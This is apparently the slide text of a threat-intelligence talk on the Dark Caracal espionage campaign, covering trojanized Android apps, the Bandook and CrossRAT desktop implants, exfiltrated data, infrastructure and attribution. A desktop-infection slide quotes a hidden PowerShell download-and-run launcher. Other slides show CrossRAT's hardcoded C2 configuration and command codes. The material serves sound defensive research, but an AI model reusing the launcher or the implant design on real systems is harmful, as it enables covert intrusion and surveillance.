SESSION ID: MBS-F01
NATION-STATE ESPIONAGE: HUNTING MULTI-PLATFORM APTS ON A GLOBAL SCALE

Eva Galperin
Director of Cybersecurity
Electronic Frontier Foundation
@evacide

Michael Flossman
Head of Threat Intelligence
Lookout
@terminalrift
Overview

Talk Overview

1. Background
2. Mobile Components
3. Desktop Components
4. Data Exfiltration
5. Infrastructure and Identities
6. Building 3F6
7. Conclusions and Updates
BACKGROUND
Previous Research

OPERATION MANUL
Who was it?
Who was it?
MOBILE COMPONENTS

Pallas & FinFisher
Pallas – Trojanized Apps

Secure messaging
- Threema, Signal, WhatsApp, Primo, Plus Messenger

Privacy / Connectivity
- Orbot, Psiphon

Miscellaneous
- Flash Player, Google Play Push

Most are fully functional
Pallas - Capabilities

- Take photos with front or back camera
- Intercept incoming text messages and exfiltrate
- Retrieve latitude / longitude from GPS
- Silently record audio with device microphone
- Retrieve contacts, call logs, attacker specified files
- Scan and retrieve nearby WIFI access points
- Delete attacker specified files and directories
- Retrieve device metadata
- Retrieve text messages
- Retrieve information about all accounts
- Send an SMS to an attacker specified number
- Retrieve messages and any corresponding decryption keys from messaging apps
- Retrieve a list of installed packages
- Download and install additional apps
Attack Vectors

- **Phishing messages**
  - Facebook group

- **Phishing messages**
  - WhatsApp

- **Physical access**

- **Phishing server**
  - tweetsfb.com
  - Set up for credential harvesting

- **Watering hole server**
  - secureandroid.info
  - Fake app store

- **C2 server**
  - adobeair.net
Attack Vectors

Phishing

Physical Access
Welcome To Our BlackMarket
Quality is better than the original! Highly detailed, enhanced and enchanted miniatures. Powered up and flawless.
Pallas - Summary

- No exploits; actor favors social engineering
- Stack Overflow is everyone’s friend
  - C2 obfuscation
  - Exfiltration implementation (both client and server)
  - Minor modifications to publicly available code
- Low barrier to BYO Surveillance
- Doesn’t need to be sophisticated to be effective
No Oday?

Hi there handsome … I'd love to hear more about your military unit and the equipment you have access to. I'll send more photos of myself, but I'd feel more comfortable first if you installed this custom chat app.

k thx bai
Surveillance on the cheap

ViperRAT

xRAT

Marcher

Premium Tooling?

- Fake Android Update that doesn’t appear in previous FinFisher dumps (TrojanID - Nana)
- Exynos exploit included
- Contains 3 mobile endpoints:
  - +7820435193
  - +7820944266
  - +78235424312
DESKTOP COMPONENTS

Bandooks and RATs
Infection Vectors

Chained zero day exploits pivoting access off of compromised SCADA systems and using the blockchain for exfiltration!
Infection Vectors

Just kidding.
It was phishing.
It’s always phishing.
Infection Vectors

- Infected documents presumably sent over email.
- Word, Excel, and PDF
- Macros, macros, macros!
- Infected CHM file running powershell?
  - That’s new...
cmd.exe,/c powershell.exe -ExecutionPolicy bypass -noprofile
-WindowStyle Hidden (New-Object
%TEMP%\chmplg.exe;
Bandook

- Observed as part of Operation Manul, new variant used by DC.
- Hindi word for “gun.”
- Modular
- Windows only
- Available for sale online, but the versions that we found seem to be a private copy
- Heavily obfuscated
- Found in trojanized copies of a drawing program and circumvention software Psiphon (fitting with mobile MO)
Bandook - Unpacking

- All malware related WinAPI strings encrypted and base64 encoded, bandook decrypts them at runtime.
- Then the second stage is encrypted and stored in a binary resource with an 8 character name.
- The resource binary is decrypted and injected into the IEXPLORE.exe process using a technique called process hollowing.
- Second stage packed with a custom version of UPX.
Windows C2 Servers

Control panels for multiple campaigns using various malware that included

- IRIS RAT
- Bandook
- Arcom RAT

We found these servers hosting exfiltrated desktop content.
### Bandook – C2 Communication

<table>
<thead>
<tr>
<th>Command</th>
<th>Command</th>
<th>Command</th>
<th>Command</th>
<th>Command</th>
<th>Command</th>
</tr>
</thead>
<tbody>
<tr>
<td>CaptureScreen</td>
<td>DeleteFileFromDevice</td>
<td>DeleteAutoFTPPFromDB</td>
<td>CompressArchive</td>
<td>StealUSB</td>
<td></td>
</tr>
<tr>
<td>Init</td>
<td>CopyMTP</td>
<td>ExecuteTV</td>
<td>GenerateReports</td>
<td>StartFileMonitor</td>
<td></td>
</tr>
<tr>
<td>ClearCred</td>
<td>ChromelInject</td>
<td>ExecuteAMMY</td>
<td>GetWifi</td>
<td>SendFileMonLog</td>
<td></td>
</tr>
<tr>
<td>GetCamlist</td>
<td>DisableChrome</td>
<td>DDOSON</td>
<td>StartShell</td>
<td>GetUSBMONLIST</td>
<td></td>
</tr>
<tr>
<td>SendCam</td>
<td>RarFolder</td>
<td>ExecuteTVNew</td>
<td>GetSound</td>
<td>GetFileMONLIST</td>
<td></td>
</tr>
<tr>
<td>StopCam</td>
<td>SendUSBList</td>
<td>getkey</td>
<td>SplitMyFile</td>
<td>StopUSBMonitor</td>
<td></td>
</tr>
<tr>
<td>Uninstall</td>
<td>SignoutSkype</td>
<td>SendMTPList</td>
<td>GetAutoFTP</td>
<td>SearchMain</td>
<td></td>
</tr>
<tr>
<td>SendStartup</td>
<td>StopSearch</td>
<td>SendMTPList2</td>
<td>GrabFileFromDevice</td>
<td>PutFileOnDevice</td>
<td></td>
</tr>
<tr>
<td>StopFileMonitor</td>
<td>SendinfoList</td>
<td>EnableAndLoadCapList</td>
<td>DisableMouseCapture</td>
<td>AddAutoFTPToDB</td>
<td></td>
</tr>
</tbody>
</table>
Bandook – C2 Communication

- Plaintext TCP to the C2
- Base64 encoded, suffixed with the string “&&&”
- Same string delimiter used in Pallas mobile malware
- Decodes to something like
  
  @0000~!18128~!192.168.1.82~!610930~!EFFuser~!Seven~
  !0d 0h 3m~!0~!4.1~!21/04/2017~!0~!0~!0~!0~!~!0~!0--
  !None~!0~!
CrossRAT

- New malware family
- Version 0.1 released March 2017
- Limited Features
- Written in Java
- Cross platform targets: Windows, OS X, and Linux
- No obfuscation or Packing
- Installs itself for persistence
- No exploits used
CrossRAT C2 Communication

- Communicates with C2 over plaintext TCP
- Custom protocol, similar to bandook and pallas

`5287249f-caa2-4b66-850c-49eedd46cf47$#@0000$#@192.168.1.16$#@Windows7$#@6.1$#@EFFuser^585948$#@0.1$#@GROUP2$#@&`
public final class k {
    public static boolean a = false;

    // Hardcoded C2 Information
    public static String b = "flexberry.com"; // C2 Server
    public static int c = 2223; // C2 Port

    public static String d = "#$@"; // Argument delimiter
    public static String e = "^!@"; // delimiter within arguments
    public static UUID f;
    public static String g;
    public static Preferences h;
    public static String i = "0.1"; // Version Number
    public static String j = "GROUP2"; // Campaign name
/** CrossRAT – C2 Communication **/

// Client response prefixes
-public static String w = "@0000"; // client hello
-public static String x = "@0001"; // heartbeat response
-public static String y = "@0002"; // List of system root directories
-public static String z = "@0003"; // Status message for file manager connect,
-public static String A = "@0004"; // Status message for file manager connect,
-public static String B = "@0005"; // List of files on system
-public static String C = "@0006"; // End list of files on system
...
CrossRAT - Commands

// Server command prefixes
public static String m = "@0000"; // Enumerate root directories on the system. 0 args
public static String n = "@0001"; // Enumerate files on the system. 1 arg
public static String o = "@0002"; // Create blank file on system. 1 arg
public static String p = "@0003"; // Copy File. 2 args
public static String q = "@0004"; // Move file. 2 args
public static String r = "@0005"; // Write file contents. 4 args
public static String s = "@0006"; // Read file contents. 4 args

...
DEVICE LOCATION & DATA EXFILTRATION
### Geo-locating Devices

<table>
<thead>
<tr>
<th>Client</th>
<th>Protocol</th>
<th>VHost</th>
<th>Request</th>
</tr>
</thead>
<tbody>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /oldb/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /oldb/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /wp9/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=10111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /oldb/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> POST /oldb/upload.php?test=</td>
<td></td>
<td>&amp;op=0&amp;m=no&amp;extra=bla</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /oldb/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /oldb/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /wp7/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /oldb/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
<tr>
<td>http/1.1</td>
<td><a href="http://www.example.com:443">www.example.com:443</a> GET /oldb/add.php?ac=chkcm1&amp;uid=</td>
<td></td>
<td>&amp;pr=11111111111</td>
</tr>
</tbody>
</table>
Geo-locating Devices
**Data Breakdown**

**Split of exfiltrated content on adobeair.net**

81 GB

- **59.3%** Android Campaigns
- **40.7%** Windows Campaigns
Data Breakdown

- **SMS Messages**
- **Authentication Accounts**
- **Wi-Fi Details**
- **Call Records**
- **Bookmarks & Browsing History**
- **WhatsApp, Telegram and Skype DB’s**
- **Contacts**
- **Installed Applications**
- **Legal and Corporate Documentation**
- **Images**
- **Audio Recordings**
- **File and Directory Listings**
Exfiltrated Data - Examples

- Desktop screenshots
- Skype Logs & DBs
- Personal Photos
- iPhone backups
- Corporate and Legal Documentation
Exfiltrated Data - Examples

An overview of exfiltrated data from the Android campaigns can be seen in the figure below.
INFRASTRUCTURE
## Overview

<table>
<thead>
<tr>
<th>Domain</th>
<th>Links / Connection to Dark Caracal</th>
</tr>
</thead>
<tbody>
<tr>
<td>adobeair[.]net</td>
<td>Shared C2 server / Exfiltrated data server</td>
</tr>
<tr>
<td>secureandroid[.]info</td>
<td>Blackmarket “Android App Store”</td>
</tr>
<tr>
<td>tweetsfb[.]com</td>
<td>Watering hole, Facebook groups, used to phish catalysts</td>
</tr>
<tr>
<td>fbarticles[.]com</td>
<td>Phishing domain linked by WHOIS (op13)</td>
</tr>
<tr>
<td>Arablivenews[.]com [EXPIRED]</td>
<td>WHOIS (op13)</td>
</tr>
<tr>
<td>Nancyrazzouk[.]com [EXPIRED]</td>
<td>WHOIS (nancyrazzouk)</td>
</tr>
<tr>
<td>Arabpublisherslb[.]com</td>
<td>WHOIS (nancyrazzouk)</td>
</tr>
<tr>
<td>flexberry[.]com</td>
<td>94[.]229[.]70[.]7 (Windows)</td>
</tr>
<tr>
<td>planethdx[.]com</td>
<td>94[.]229[.]70[.]7 (Windows)</td>
</tr>
</tbody>
</table>
Primary Command and Control

- Used as a fingerprint in the discovery of further related infrastructure.
- Services include XAMPP for Windows 5.6.31, Apache 2.4.26, MariaDB 10.1.25, PHP 5.6.31, phpMyAdmin 4.7.0, and OpenSSL 1.0.2.
- DC has been using this domain and server from as far back as 2012.
Nanys# Facebook Groups

EXCLUSIVE! How Israel must be the great nation, and what the challenge of Jews in the middle east.

tweetsfb.com
Phishing Sites
We were able to find additional phishing campaigns in VirusTotal that referenced fbarticles[.]com.

Note: we identified three further domains:
- facebookservices[.]org
- gmailservices[.]org
- twiterservices[.]org

These domains appear to be sinkholed.
The infrastructure used by Dark Caracal revealed several different associated personas.

The `op13@mail[.]com` email address has been an integral key to linking a lot of the infrastructure.

**Personas:**
- Nancy Razzouk and Hassan Ward
- Hadi Mazeh
- Rami Jabbour
Identities – Nancy Razzouk & Hassan Ward

Nancy Razzouk
- Name used w/ op13@mail[.]com in WHOIS information.
- Name used in the signer content for Windows malware
- Phone number in exfiltrated content using the name Hassan Ward.
Identities – Hadi Mazeh

op13@mail.com

fbarticles.com

gmailservices.org
twitterservices.org

arabpublisherslb.com

facebookservices.org
Rami Jabbour:
- op13 registered the domain arablivenews[,]com using the name Rami Jabbour.
- WHOIS address information for are in close proximity to where we have seen test devices
BUILDING 3F6
WHERE IN THE WORLD IS

Dark Caracal
Attribution – Admin Console Logins
Attribution – Wi-fi + Device ID

Infected Device
Collected Wi-Fi networks
Test Devices

SSID + MAC Address

Bld3F6 + 4c:5e:0c:e9:07:c9

Device ID
Where is BLD3F6?
What building is that?
Who is Dark Caracal?

The actor is believed to be administering its tooling out of a facility belonging to the General Directorate of General Security (GDGS) of Lebanon in Beirut.
CONCLUSIONS
Summary

What is it?
A long-term offensive cyber campaign(s) with global scope & scale
>100GB+ of stolen data has been found from over 600 mobile devices in 21+ countries across thousands of victims

What platforms are targeted?
Primarily Android, but also Windows, Linux, and OS X

Who is the threat actor?
The actor is believed to be administering its tooling out of a facility belonging to the General Directorate of General Security (GDGS) of Lebanon in Beirut.
Conclusions

- Cyber-warfare is getting cheaper:
  - Commodity vs. Premium
  - Multi-platform cyber-espionage campaigns.

- Mobile as a primary attack vector

- Dark Caracal has been able to hide in the noise of misattribution for years.

- Dark Caracal and Op. Manul are not the same actors.
Updates

• "General Security does not have these type of capabilities. We wish we had these capabilities," - Major General Abbas Ibrahim, director general of GDGS

• An official source in the public security told Al-Akhbar that the Directorate has the ability to spy on any other device in the world. "But we wish we had a small part of the capabilities that the report attributes to us." The source added that this report is part of a political campaign aimed at public security, because of its role in protecting Lebanese security from Israeli incursions.

• Wi-Fi SSID was taken down
References

- **Dark Caracal Blogs and Research Report**
  - https://blog.lookout.com/dark-caracal-mobile-apt

- **Operation Manul Research Report**
Email us
threatintel@lookout.com
press@eff.org

Contact us on Twitter
@evacide
@cooperq
@terminalrift
@ablaich